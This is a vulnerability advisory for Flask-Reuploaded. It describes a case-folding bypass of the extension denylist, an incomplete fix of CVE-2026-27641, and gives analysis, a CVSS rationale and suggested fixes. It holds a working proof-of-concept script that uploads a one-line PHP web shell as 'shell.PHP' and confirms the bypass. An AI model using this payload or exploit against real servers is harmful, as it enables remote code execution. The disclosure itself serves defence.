Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H상세 설명
- Header
| Field | Value |
|---|---|
| Title | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |
| Project | Flask-Reuploaded (flask_uploads) |
| Affected | <= 1.5.0 (latest release; commit ae31c3f91da40b465ca5e8f57d93f063b4553e23) |
| Relationship | Incomplete-fix variant of CVE-2026-27641 (fixed in v1.5.0; this variant survives that fix) |
| CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |
| CVSS v3.1 (proposed) | ~7.0–7.3 (High, conditional) — CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. Final score deferred to maintainer. |
| Verified against | pip install Flask-Reuploaded==1.5.0, Python 3.11 |
- Decisive evidence — the asymmetry
The v1.5.0 fix for CVE-2026-27641 added an extension re-validation that runs when a caller supplies a name override to UploadSet.save(). It is routed through the case-preserving extension() helper, whereas the default upload path normalizes to lowercase via lowercase_ext() (inside get_basename()). The two paths disagree on case:
1default path : get_basename("shell.PHP") 2 = lowercase_ext(secure_filename("shell.PHP")) = "shell.php" 3 -> extension("shell.php") = "php" 4 -> extension_allowed("php") -> DENY (correct) 5 6name-override : secure_filename("shell.PHP") = "shell.PHP" (case preserved) 7 -> basename = "shell.PHP" 8 -> ext = extension("shell.PHP") = "PHP" (NOT lowercased) 9 -> extension_allowed("PHP") -> ALLOW (bypass)On a denylist UploadSet the allow-check returns True for the mixed-case form:
1# extensions.py:97 2def __contains__(self, item): return item not in self.items 3# "PHP" not in ('js','php','pl','py','rb','sh') -> True -> allowedextension_allowed("PHP") passes the denylist that extension_allowed("php") is blocked by.
- Vulnerability summary
UploadSet.save(storage, name=...) lets the caller override the stored filename. After the CVE-2026-27641 fix, name is sanitized with secure_filename() and its extension re-validated. Because the re-validation compares a case-preserving extension against a policy whose denied tokens are lowercase, an attacker controlling name stores a file with a denied extension by varying case (shell.PHP, evil.pHp). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache AddHandler/AddType), this re-enables the dangerous-upload → code-execution outcome the parent CVE addressed. The bypassed config is the one the library's own docs recommend for blocking scripts (see §6).
- Affected components
Permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23 (v1.5.0).
| Role | Location |
|---|---|
| Normalizing helper (default path) | src/flask_uploads/flask_uploads.py:283 — return lowercase_ext(secure_filename(filename)) |
save() entry | src/flask_uploads/flask_uploads.py:285 |
| name-override sanitize | src/flask_uploads/flask_uploads.py:333 — name = secure_filename(name) |
| name-override assign (case kept) | src/flask_uploads/flask_uploads.py:341 — basename = name |
| Re-validation (non-normalizing) | src/flask_uploads/flask_uploads.py:344 — ext = extension(basename) |
| Allow-check | src/flask_uploads/flask_uploads.py:345 |
| Policy check | src/flask_uploads/flask_uploads.py:268 — extension_allowed |
| Containment backstop (path only) | src/flask_uploads/flask_uploads.py:364 |
| Sink | src/flask_uploads/flask_uploads.py:374 — storage.save(target) |
| Case-preserving extractor | src/flask_uploads/extensions.py:101 — def extension |
| Case-normalizing extractor | src/flask_uploads/extensions.py:109 — def lowercase_ext |
| Denylist membership | src/flask_uploads/extensions.py:97 — AllExcept.__contains__ |
| Documented script denylist | src/flask_uploads/extensions.py:34-35 |
- Taint analysis
- Source: the
nameargument ofUploadSet.save(storage, name=...)— commonly user-derived; the parent CVE-2026-27641 already treatsnameas attacker-controllable. - Guard (asymmetric):
secure_filename(name)stops traversal, but the extension policy check at:344-345uses non-normalizingextension()against a lowercase-tokened policy. The realpath containment at:364constrains the path, not the extension — orthogonal to this bypass. - Sink:
storage.save(target)at:374writes the attacker-extensioned file into the served upload directory.
- CVSS justification (preconditions stated honestly)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H ≈ 7.0–7.3 (High).
- AV:N — web upload endpoint.
- AC:H — three preconditions (stated plainly):
UploadSetuses a denylist —AllExcept(...)or populatedconfig.deny. (Allowlists fail closed — §7c.)- Application passes a user-influenced
nametosave(). - Deployment resolves/executes extensions case-insensitively (Windows/macOS FS; Apache
AddHandler/AddType).
- PR:L — uploads typically authenticated. UI:N. S:U. C:H/I:H/A:H — RCE under the web server's privileges on execution-capable upload dirs.
Why High, not a contrived misconfiguration — the bypassed control is the library's documented script-blocking mechanism:
extensions.py:34-35—SCRIPTS: "…you might want to addphpto the DENY setting."extensions.py:24-26—EXECUTABLES: "…it's better suited for use withAllExcept."
An app that followed this guidance to block scripts is exactly what this variant defeats.
Not claimed: not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.
- Proof of Concept (results)
Against shipped Flask-Reuploaded==1.5.0:
7a. Asymmetry
1default path : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY 2name-override : secure_filename("shell.PHP") -> "shell.PHP" -> extension(...) -> "PHP" -> extension_allowed("PHP") -> ALLOW7b. End-to-end (denylist AllExcept(SCRIPTS))
1[1] save(storage("shell.PHP")) -> UploadNotAllowed (default path blocked) 2[2] save(storage("upload.bin"), name="shell.PHP") -> saved "shell.PHP", on_disk=True (BYPASS) 3[2b] save(storage("upload.bin"), name="evil.pHp") -> saved "evil.pHp", on_disk=True; containment intact7c. Negative controls
1[3] allowlist IMAGES, name="shell.PHP" -> UploadNotAllowed: File extension 'PHP' is not allowed (fail-closed) 2[4] allowlist IMAGES, name="photo.jpg" -> saved "photo.jpg" (legit unaffected)
- Patch pattern (internal precedent)
The project ships a case-normalizing extractor (lowercase_ext, used by get_basename) specifically so configured extensions are "compare[d] … in the same case" (its docstring). The v1.5.0 re-validation instead calls the case-preserving extension(), so the new guard does not match the normalization the rest of the system relies on — the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.
- Impact
- Bypass of the documented extension denylist for scripts/executables.
- Storage of
.PHP/.pHp/ mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated). - On case-insensitive execution surfaces → remote code execution under the web server's privileges — the parent CVE's end impact, re-enabled on denylist deployments.
- Suggested remediation
Normalize before the policy check so the name-override path matches the default path:
ext = extension(basename).lower()(orextension(lowercase_ext(basename))) beforeextension_allowed.- Or run the overridden
basenamethroughlowercase_ext()(asget_basenamedoes) before both validation and save. - Or make
extension_allowed/ the policy containers case-insensitive.
Option (1) or (2) is the minimal, behavior-preserving fix.
- Evidence files
poc_case_fold.py(§12) — self-contained PoC; runs againstpip install Flask-Reuploaded==1.5.0./tmp/flask_reuploaded_case_fold_proof.txt— captured verdict.- Source permalinks pinned to commit
ae31c3f91da40b465ca5e8f57d93f063b4553e23.
- Full PoC script (
poc_case_fold.py)
poc_case_fold.py) 1""" 2PoC — Flask-Reuploaded CVE-2026-27641 incomplete-fix variant 3Case-folding asymmetry in the name-override extension re-validation. 4 5Parent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a 6`name` override is supplied, but routed it through the CASE-PRESERVING 7`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the 8default upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet 9(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the10denylist that the default path correctly blocks.11 12 default path : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY13 name-override : secure_filename("shell.PHP") -> "shell.PHP" (case kept)14 -> extension("shell.PHP") -> "PHP" -> extension_allowed("PHP") -> ALLOW15 16Tested against the SHIPPED, patched Flask-Reuploaded==1.5.0.17"""18import io19import os20import shutil21import tempfile22 23from flask import Flask24from flask_uploads import (25 UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,26)27from werkzeug.datastructures import FileStorage28import flask_uploads29 30 31def make_storage(filename: str) -> FileStorage:32 return FileStorage(33 stream=io.BytesIO(b"<?php system($_GET['c']); ?>"),34 filename=filename,35 content_type="application/octet-stream",36 )37 38 39def run():40 import importlib.metadata as md41 print(f"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}")42 43 dest_denylist = tempfile.mkdtemp(prefix="fr_deny_")44 dest_allowlist = tempfile.mkdtemp(prefix="fr_allow_")45 46 app = Flask(__name__)47 files_deny = UploadSet("filesdeny", AllExcept(SCRIPTS)) # documented "allow all except scripts"48 files_allow = UploadSet("filesallow", IMAGES) # allowlist (fail-closed)49 app.config["UPLOADED_FILESDENY_DEST"] = dest_denylist50 app.config["UPLOADED_FILESALLOW_DEST"] = dest_allowlist51 configure_uploads(app, (files_deny, files_allow))52 53 results = {}54 with app.app_context():55 # [1] default path, denylist -> must DENY56 try:57 saved = files_deny.save(make_storage("shell.PHP"))58 results["default_path"] = f"SAVED as {saved} <-- UNEXPECTED"59 except UploadNotAllowed:60 results["default_path"] = "DENIED (expected)"61 62 # [2] name-override, denylist -> BYPASS63 try:64 saved = files_deny.save(make_storage("upload.bin"), name="shell.PHP")65 on_disk = os.path.join(dest_denylist, saved)66 results["variant"] = f"BYPASS — saved as {saved}, on_disk={os.path.exists(on_disk)}"67 except UploadNotAllowed:68 results["variant"] = "DENIED (variant did NOT reproduce)"69 70 # [2b] mixed-case generality + containment intact71 try:72 saved = files_deny.save(make_storage("upload.bin"), name="evil.pHp")73 on_disk = os.path.join(dest_denylist, saved)74 inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))75 results["variant_mixed"] = f"BYPASS — saved as {saved}, inside_dest={inside}"76 except UploadNotAllowed:77 results["variant_mixed"] = "DENIED"78 79 # [3] allowlist -> fail closed80 try:81 saved = files_allow.save(make_storage("real.jpg"), name="shell.PHP")82 results["allowlist"] = f"SAVED as {saved} <-- allowlist leaked"83 except UploadNotAllowed:84 results["allowlist"] = "DENIED (expected — allowlist fails closed)"85 86 # [4] legit upload -> allowed87 try:88 saved = files_allow.save(make_storage("real.jpg"), name="photo.jpg")89 results["legit"] = f"SAVED as {saved} (expected)"90 except UploadNotAllowed:91 results["legit"] = "DENIED (UNEXPECTED — legit upload broke)"92 93 print("VERDICT:")94 for k, v in results.items():95 print(f" {k:14s}: {v}")96 97 confirmed = (98 "BYPASS" in results.get("variant", "")99 and results.get("default_path") == "DENIED (expected)"100 and "DENIED" in results.get("allowlist", "")101 )102 print("FLASK_REUPLOADED_CASE_FOLD_CONFIRMED" if confirmed else "VARIANT NOT CONFIRMED — honest cut")103 104 shutil.rmtree(dest_denylist, ignore_errors=True)105 shutil.rmtree(dest_allowlist, ignore_errors=True)106 107 108if __name__ == "__main__":109 run()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.